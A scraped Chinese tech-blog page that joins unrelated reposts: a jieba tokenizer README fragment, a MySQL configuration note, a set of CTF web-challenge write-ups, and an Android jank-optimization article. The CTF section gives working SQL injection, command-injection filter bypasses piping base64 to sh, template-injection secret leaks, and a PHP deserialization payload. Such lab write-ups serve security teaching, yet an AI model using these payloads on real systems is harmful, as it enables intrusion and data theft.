HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
501
转载
转载文章
...器的日志记录功能对于问题诊断和审计有着重要作用。学习如何通过配置慢查询日志、错误日志以及二进制日志实现对系统运行状况的有效监控,并借助相关工具分析日志数据来发现并解决潜在问题。 4. 高可用性和复制策略:在生产环境中,MySQL往往需要部署为集群或采用主从复制模式以确保服务的高可用性。深入研究server-id、binlog_format等相关配置项如何影响复制行为,并结合GTID(全局事务标识符)等高级复制特性进行实战演练。 5. 操作系统级优化配合MySQL:除了直接修改MySQL配置文件外,系统级别的优化也相当重要,包括合理分配内存、磁盘I/O调度策略、网络参数调整等,这些都会间接影响到MySQL服务器的性能表现。及时跟踪Linux或Windows操作系统的最佳实践指南,以实现软硬件层面的协同优化。 综上所述,MySQL服务器配置文件只是数据库运维中的一个环节,后续的学习应结合当前的技术发展动态、行业最佳实践以及自身业务需求,不断深化对MySQL以及其他相关技术栈的理解与应用能力。
2023-10-08 09:56:02
130
转载
转载文章
...);?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
304
转载
转载文章
...化这块的文章。 卡顿问题是一个老生常谈的话题了,一个App的好坏,卡顿也许会占一半,它直接决定了用户的留存问题,各大app排行版上,那些知名度较高,但是排行较低的,可能就要思考思考是不是和你app本身有关系了。 卡顿一直是性能优化中相对重要的一个点,因为其涉及了UI绘制、垃圾回收(GC)、线程调度以及Binder,CPU,GPU方面等JVM以及FrameWork相关知识 如果能做好卡顿优化,那么也就间接证明你对Android FrameWork的理解之深。 接下来我们就来讲解下卡顿方面的知识。 什么是卡顿: 对用户来讲就是界面不流畅,滞顿。 场景如下: 1.视频加载慢,画面卡顿,卡死,黑屏 2.声音卡顿,音画不同步。 3.动画帧卡顿,交互响应慢 4.滑动不跟手,列表自动更新,滚动不流畅 5.网络响应慢,数据和画面展示慢、 6.过渡动画生硬。 7.界面不可交互,卡死,等等现象。 卡顿是如何发生的 卡顿产生的原因一般都比较复杂,如CPU内存大小,IO操作,锁操作,低效的算法等都会引起卡顿。 站在开发的角度看: 通常我们讲,屏幕刷新率是60fps,需要在16ms内完成所有的工作才不会造成卡顿。 为什么是16ms,不是17,18呢? 下面我们先来理清在UI绘制中的几个概念: SurfaceFlinger: SurfaceFlinger作用是接受多个来源的图形显示数据Surface,合成后发送到显示设备,比如我们的主界面中:可能会有statusBar,侧滑菜单,主界面,这些View都是独立Surface渲染和更新,最后提交给SF后,SF根据Zorder,透明度,大小,位置等参数,合成为一个数据buffer,传递HWComposer或者OpenGL处理,最终给显示器。 在显示过程中使用到了bufferqueue,surfaceflinger作为consumer方,比如windowmanager管理的surface作为生产方产生页面,交由surfaceflinger进行合成。 VSYNC Android系统每隔16ms发出VSYNC信号,触发对UI进行渲染,VSYNC是一种在PC上很早就有应用,可以理解为一种定时中断技术。 tearing 问题: 早期的 Android 是没有 vsync 机制的,CPU 和 GPU 的配合也比较混乱,这也造成著名的 tearing 问题,即 CPU/GPU 直接更新正在显示的屏幕 buffer 造成画面撕裂。 后续 Android 引入了双缓冲机制,但是 buffer 的切换也需要一个比较合适的时机,也就是屏幕扫描完上一帧后的时机,这也就是引入 vsync 的原因。 早先一般的屏幕刷新率是 60fps,所以每个 vsync 信号的间隔也是 16ms,不过随着技术的更迭以及厂商对于流畅性的追求,越来越多 90fps 和 120fps 的手机面世,相对应的间隔也就变成了 11ms 和 8ms。 VSYNC信号种类: 1.屏幕产生的硬件VSYNC:硬件VSYNC是一种脉冲信号,起到开关和触发某种操作的作用。 2.由SurfaceFlinger将其转成的软件VSYNC信号,经由Binder传递给Choreographer Choreographer: 编舞者,用于注册VSYNC信号并接收VSYNC信号回调,当内部接收到这个信号时最终会调用到doFrame进行帧的绘制操作。 Choreographer在系统中流程: 如何通过Choreographer计算掉帧情况:原理就是: 通过给Choreographer设置FrameCallback,在每次绘制前后看时间差是16.6ms的多少倍,即为前后掉帧率。 使用方式如下: //Application.javapublic void onCreate() {super.onCreate();//在Application中使用postFrameCallbackChoreographer.getInstance().postFrameCallback(new FPSFrameCallback(System.nanoTime()));}public class FPSFrameCallback implements Choreographer.FrameCallback {private static final String TAG = "FPS_TEST";private long mLastFrameTimeNanos = 0;private long mFrameIntervalNanos;public FPSFrameCallback(long lastFrameTimeNanos) {mLastFrameTimeNanos = lastFrameTimeNanos;mFrameIntervalNanos = (long)(1000000000 / 60.0);}@Overridepublic void doFrame(long frameTimeNanos) {//初始化时间if (mLastFrameTimeNanos == 0) {mLastFrameTimeNanos = frameTimeNanos;}final long jitterNanos = frameTimeNanos - mLastFrameTimeNanos;if (jitterNanos >= mFrameIntervalNanos) {final long skippedFrames = jitterNanos / mFrameIntervalNanos;if(skippedFrames>30){//丢帧30以上打印日志Log.i(TAG, "Skipped " + skippedFrames + " frames! "+ "The application may be doing too much work on its main thread.");} }mLastFrameTimeNanos=frameTimeNanos;//注册下一帧回调Choreographer.getInstance().postFrameCallback(this);} } UI绘制全路径分析: 有了前面几个概念,这里我们让SurfaceFlinger结合View的绘制流程用一张图来表达整个绘制流程: 生产者:APP方构建Surface的过程。 消费者:SurfaceFlinger UI绘制全路径分析卡顿原因: 接下来,我们逐个分析,看看都会有哪些原因可能造成卡顿: 1.渲染流程 1.Vsync 调度:这个是起始点,但是调度的过程会经过线程切换以及一些委派的逻辑,有可能造成卡顿,但是一般可能性比较小,我们也基本无法介入; 2.消息调度:主要是 doframe Message 的调度,这就是一个普通的 Handler 调度,如果这个调度被其他的 Message 阻塞产生了时延,会直接导致后续的所有流程不会被触发 3.input 处理:input 是一次 Vsync 调度最先执行的逻辑,主要处理 input 事件。如果有大量的事件堆积或者在事件分发逻辑中加入大量耗时业务逻辑,会造成当前帧的时长被拉大,造成卡顿,可以尝试通过事件采样的方案,减少 event 的处理 4.动画处理:主要是 animator 动画的更新,同理,动画数量过多,或者动画的更新中有比较耗时的逻辑,也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题; 5.view 处理:主要是接下来的三大流程,过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级,主要解决的就是这个问题; 6.measure/layout/draw:view 渲染的三大流程,因为涉及到遍历和高频执行,所以这里涉及到的耗时问题均会被放大,比如我们会降不能在 draw 里面调用耗时函数,不能 new 对象等等; 7.DisplayList 的更新:这里主要是 canvas 和 displaylist 的映射,一般不会存在卡顿问题,反而可能存在映射失败导致的显示问题; 8.OpenGL 指令转换:这里主要是将 canvas 的命令转换为 OpenGL 的指令,一般不存在问题 9.buffer 交换:这里主要指 OpenGL 指令集交换给 GPU,这个一般和指令的复杂度有关 10.GPU 处理:顾名思义,这里是 GPU 对数据的处理,耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因; 11.layer 合成:Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。 可以选择降低Surface层级来优化卡顿。 12.光栅化/Display:这里暂时忽略,底层系统行为; Buffer 切换:主要是屏幕的显示,这里 buffer 的数量也会影响帧的整体延迟,不过是系统行为,不能干预。 2.系统负载 内存:内存的吃紧会直接导致 GC 的增加甚至 ANR,是造成卡顿的一个不可忽视的因素; CPU:CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争,比如 1.降频会直接导致应用卡顿; 2.后台活动进程太多导致系统繁忙,cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题 ,这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况: 3.主线程调度不到 , 处于 Runnable 状态,这种情况比较少见 4.System 锁:system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU:GPU 的影响见渲染流程,但是其实还会间接影响到功耗和发热; 功耗/发热:功耗和发热一般是不分家的,高功耗会引起高发热,进而会引起系统保护,比如降频、热缓解等,间接的导致卡顿。 如何监控卡顿 线下监控: 我们知道卡顿问题的原因错综复杂,但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令 这个命令可以获取当时设备cpu使用情况,我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具,可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置: 1.Sample Java Methods:在应用程序基于Java的代码执行过程中,频繁捕获应用程序的调用堆栈 获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods:在运行时对应用程序进行检测,以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据,包括时序信息和CPU使用率。 请注意与检测每种方法相关的开销会影响运行时性能,并可能影响性能分析数据。对于生命周期相对较短的方法,这一点甚至更为明显。此外,如果您的应用在短时间内执行大量方法,则探查器可能会很快超过其文件大小限制,并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置,您必须将应用程序部署到运行Android 8.0(API级别26)或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息,使您可以检查应用程序与系统资源的交互方式 您可以检查线程状态的确切时间和持续时间,可视化CPU瓶颈在所有内核中的位置,并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时,此类信息可能至关重要。要使用此配置,您必须将应用程序部署到运行Android 7.0(API级别24)或更高版本的设备。 使用方式: Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点:有比较全面的调用栈以及图像化方法时间显示,包含所有线程的情况 缺点:本身也会带来一点的性能开销,可能会带偏优化方向 火焰图:可以显示当前应用的方法堆栈: 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过 这里我们简单来复习下: Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。 使用方式: Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中: python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况: 优点: 1.轻量级,开销小,CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议,比如说,它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制,用来帮助开发者自动检测代码中不规范的地方。 主要和两部分相关: 1.线程相关 2.虚拟机相关 基础代码: private void initStrictMode() {// 1、设置Debug标志位,仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11,使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控: 线上需要自动化的卡顿检测方案来定位卡顿,它能记录卡顿发生时的场景。 自动化监控原理: 采用拦截消息调度流程,在消息执行前埋点计时,当耗时超过阈值时,则认为是一次卡顿,会进行堆栈抓取和上报工作 首先,我们看下Looper用于执行消息循环的loop()方法,关键代码如下所示: / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中,在其执行每一个消息(注释2处)的前后都由logging进行了一次打印输出。可以看到,在执行消息前是输出的">>>>> Dispatching to “,在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的,我们就可以由此来判断消息执行的前后时间点。 具体的实现可以归纳为如下步骤: 1、首先,我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样,在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后,我们就可以执行一行代码:也就是在指定的时间阈值之后,我们在子线程去执行一个任务,这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息,比如:内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to ",那么说明message就被执行完成了,则表明此时没有产生我们认为的卡顿效果,那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary 